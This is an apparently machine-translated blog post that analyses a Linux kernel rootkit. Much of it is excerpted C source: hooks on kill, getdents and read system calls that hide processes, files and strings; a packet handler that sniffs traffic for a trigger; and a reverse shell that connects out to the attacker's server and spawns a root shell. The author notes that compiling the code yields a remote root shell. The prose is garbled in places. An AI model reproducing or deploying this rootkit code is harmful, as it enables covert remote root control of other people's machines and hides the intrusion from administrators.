first , this rootkit It's actually a kernel Trojan , Unlike most Trojans , The machine where the malicious Trojan is located is the client, not the server , And the hacker's machine is a server , The advantage of this is that you can avoid the firewall , General firewalls are not so strict with outgoing packets and strict with incoming packets , If the malware is a server , Then the firewall is likely to block the hacker client process connected to the server, causing the attack to be blocked , Now, the hacker's machine is a server , He first sends the call packet to the client , The client will connect to the server after receiving the call package , This link is not blocked by the firewall , Otherwise, the machines inside the firewall will be greatly restricted . The rootkit The other idea is to use virtual terminals instead of ordinary ones shell How , In this way, you can effectively avoid logging records , stay linux upper utmp and wtmp As long as the user's login record is in charge , command who Just read this utmp File and list the information , But even in utmp It's also mentioned in the official documents of , It doesn't record all users logging in , The key is whether the login program records actively , With this idea , It is difficult for the administrator of the machine where the malicious program is located to find this kernel Trojan , It's hard for them to realize that their machines are under control , As long as it's done, it's all done , Administrators don't realize what they're not going to do , It's natural for attackers to be free for a long time .

The rootkit It mainly uses the way of replacing system call to implement the attack , The purpose of replacing the system call is to hide the process, etc , Although the way is not so seamless , At the very least, it will enable readers to learn some knowledge of assembly , Why not , If you really think it's too earthy , Then please read the following article ,adore It should be close to what you expected , Let's take a look at the code itself , It can be downloaded from many sites , This paper is just a simple analysis :

int init_module(void) // Module initialization function

{

...

lanzar_shell = 0; // This global variable indicates whether to start a shell

atomic_set(&read_activo, 0);

global_ip = 0xffffffff;

...// Get the address of the system call entry , There are many ways

orig_kill = sys_call_table[__NR_kill];

orig_getdents64 = sys_call_table[__NR_getdents64];

orig_getdents = sys_call_table[__NR_getdents];

// Set hook , I.e. replacement

set_idt_handler(s_call);

set_sysenter_handler(sysenter_entry);

// Install the network boot back door

my_pkt.type=htons(ETH_P_ALL);

my_pkt.func=capturar;

dev_add_pack(&my_pkt);

return(0);

}

void cleanup_module(void)// ellipsis

At the end of the module initialization, the network boot back door is installed , It's easy to understand , Hackers usually operate remote machines through the network , Now that it's over the Internet , So there must be a spy like program in the remote machine , This is it. ETH_P_ALL Protocol handler , Just sign up ETH_P_ALL Protocol handler , All incoming packets will be checked and processed by it , Actually, this is linux An underlying mechanism of network protocol stack , After the network card receives the data , To determine what to do above the link layer , The processing logic traverses all registered protocol handlers , Which can handle which , Protocol type in skb We can get , In fact, it is the protocol of parsing the format of data frame to find the fixed offset ,ETH_P_ALL Special , All registered ETH_P_ALL Protocol type processing entities are linked into a linked list , Kernel processing logic will traverse this list , And then let each one ETH_P_ALL To process the received packets , When you've traversed everything ETH_P_ALL After processing entities , The kernel hands over the packet to this skb Real agreement processing entity , actually ETH_P_ALL The type of protocol processing entity is a bypass processing logic , It's going to happen anyway , In the rootkit in , It's this ETH_P_ALL The type of protocol processing entity detects the call of a remote hacker , So that lanzar_shell Set to 1, And then any part of the kernel is detected lanzar_shell by 1, Will start the connection process to connect to the hacker client , In fact, the connection process is a kernel process , Is the kernel process bad ? Of course , Power is unlimited . Then the module initialization above says , stay set_idt_handler It is mainly to replace the system call processing function , So as to realize the control logic of the malicious program itself , It replaces the original processing logic with new_idt, Let's take a look new_idt:

void new_idt(void)

{

ASMIDType // There's nothing to say about this , It's simply changing the original sys_call handle , Jump to hook Make further judgment and balance

(

"cmp %0, %%eax /n"

"jae syscallmala /n"

"jmp hook /n"

"syscallmala: /n"

"jmp dire_exit /n"

: : "i" (NR_syscalls)

);

}

void hook(void)

{

register int eax asm("eax");

switch(eax)

{

case __NR_kill: // The purpose is to prevent killing in the process , The process of killing pid Store a global variable , stay hacked_kill Middle judgment , If it is , Then go straight back

CallHookedSyscall(hacked_kill); // If it is a call kill, So jump to our kill, The following are the same

break;

case __NR_getdents: // The purpose is to hide files , When enumerating files in this directory , If the filename has hidden features , Then skip updating the offset and size at the same time

CallHookedSyscall(hacked_getdents);

break;

case __NR_getdents64: // ditto

CallHookedSyscall(hacked_getdents64);

break;

case __NR_read: // The purpose is to hide specific content in the file , Here's an analysis

CallHookedSyscall(hacked_read);

break;

default:

JmPushRet(dire_call); // The rest of the pass through

break;

}

JmPushRet( after_call );

}

Each protocol type registers a processing entity , such as ip,ppp,can, Or other private agreements , Generally, they are protocols above the link layer , There's a special protocol , It shouldn't be called an agreement , It is ETH_P_ALL, This protocol is mainly used to bypass data ,ETH_P_ALL All packets that pass through the registered interface must be processed by it ,capturar As one of the implementations is :

int capturar(struct sk_buff *skb, struct net_device *dev, struct packet_type
*pkt, struct net_device *dev2)

{

unsigned short len;

char buf[256], *p;

int i;

struct iphdr *iph = (struct iphdr*)skb->network_header;

switch(iph->protocol)

{

case 1:

if (skb->pkt_type != PACKET_HOST)

...// Do not process if it is not a host package , Obviously, a host package is needed

...// After all, when the Trojan server calls lanzar_shell Set to 1 To start shell

}

}

Anywhere in the kernel , As long as it detects lanzar_shell yes 1, Start in a new process context reverse_shell, Where to judge ? In the system calls we have intercepted, such as read Middle bar , While understanding how to start a new kernel connection thread, let's also briefly explain the blackout read Execution logic of system call :

asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes)

{

struct file *fichero;

int fput_needed;

ssize_t ret;

if (lanzar_shell == 1) // Execute the kernel thread connecting to the server when appropriate

{

lanzar_shell = 0;

if (!fork()) // Do this in a subprocess

reverse_shell();

}

...

fichero = e_fget_light(fd, &fput_needed);

if (fichero)

{

ret = vfs_read(fichero, buf, nbytes, &fichero->f_pos);

switch(checkear(buf, ret, fichero))
//checkear It's actually a string parsing , ahead vfs_read Got the read string , This function resolves whether there is a string that we need to hide , If so, return 1, without , So back -1

{

case 1:

ret = hide_marcas(buf, ret);
// Because of the vfs_read Data has been copied to user space , So this function actually hides the strings that have been copied to user space and we need to mask , The final job is to cut off the strings that need to be hidden , Change length at the same time , Offset and other information

break;

case -1: // If the string that needs to be hidden is not found , Then do nothing , Perform final exit

break;

...

}

int reverse_shell(void)

{

struct task_struct *ptr = current;

struct sockaddr_in dire;

mm_segment_t old_fs;

unsigned long arg[3];

int soc, tmp_pid, i;

unsigned char tmp;

fd_set s_read;

old_fs = get_fs();

ptr->uid = 0; //root jurisdiction

ptr->euid = 0;

ptr->gid = SGID;

ptr->egid = 0;

arg[0] = AF_INET; // Set socket creation parameters , ellipsis

...

set_fs(KERNEL_DS); // Set the upper limit of safety parameters

ssetmask(~0);

for (i=0; i < 4096; i++)

close(i);

if ((soc = socketcall(SYS_SOCKET, arg)) == -1) // Create socket

...// Error handling , Assume no error

memset((void *) &dire, 0, sizeof(dire));

//dire Of global_port and global_ip stay capturar Assigned in protocol callback function

dire.sin_family = AF_INET;

dire.sin_port = htons((unsigned short) global_port);

dire.sin_addr.s_addr = (unsigned long) global_ip;

arg[0] = soc; // Here three lines of code set connection parameters

arg[1] = (unsigned long) &dire;

arg[2] = (unsigned long) sizeof(dire);

if (socketcall(SYS_CONNECT, arg) == -1) // Connect to server

...// Error handling , Let's assume it's not wrong

epty = get_pty();
// Get a pair of virtual terminals and return a descriptor , The returned descriptor is used by the subprocess , The other uses , Acting as a proxy setter for subprocess descriptors and sockets

set_fs(old_fs);

if (!(tmp_pid = fork())) // Start a in a subprocess shell, See function below

ejecutar_shell();

set_fs(KERNEL_DS);

while(1) // infinite loop , Communicate with the hacker's server

{

...//select Open virtual terminals and sockets

...// If the virtual terminal is readable , Then write the read data to the socket

...// If socket is readable , Then write the unique data to the virtual terminal

} /* fin while */

...// end , Close out processing

}

void ejecutar_shell(void)

{

struct task_struct *ptr = current;

mm_segment_t old_fs;

old_fs = get_fs();

set_fs(KERNEL_DS);

ptr->uid = 0; // That's the point ,root jurisdiction

ptr->euid = 0;

ptr->gid = SGID;

ptr->egid = 0;

dup2(epty, 0); // Redirect standard I / O

dup2(epty, 1);

dup2(epty, 2);

...// Execute after unimportant settings execve

execve(earg[0], (const char **) earg, (const char **) env);

}

Above is the kernel Trojan or rootkit General implementation logic of , The method used is very earthy , But it uses the operating system hacker General method of , this rootkit The implementation of is very clear , It can't be clearer , If you try to compile , It's easy to get an ownership of a remote machine root Of user rights shell. in any case , this rootkit It can only be used for learning , Before today's powerful anti black software , It's easy to detect , So the next one rootkit It will be hard to detect , Because it doesn't black out certain things , It's something uncertain .

Technology
©2019-2020 Toolsou All rights reserved,
TP6 Application examples of verifier and correct verification data ESP8266/ESP32 System : Optimize system startup time 2021 year 2 Chinese programming language ranking 2021 year 1 Monthly programmer salary statistics , average 14915 element CSS architecture design It's not depravity that's terrible , It's about knowing you're falling Gude Haowen serial - You deserve to be an engineer ( Preface ) Software testing BUG describe C Course design of language programming of 《 Student achievement management system 》vue In the project axios Global encapsulation of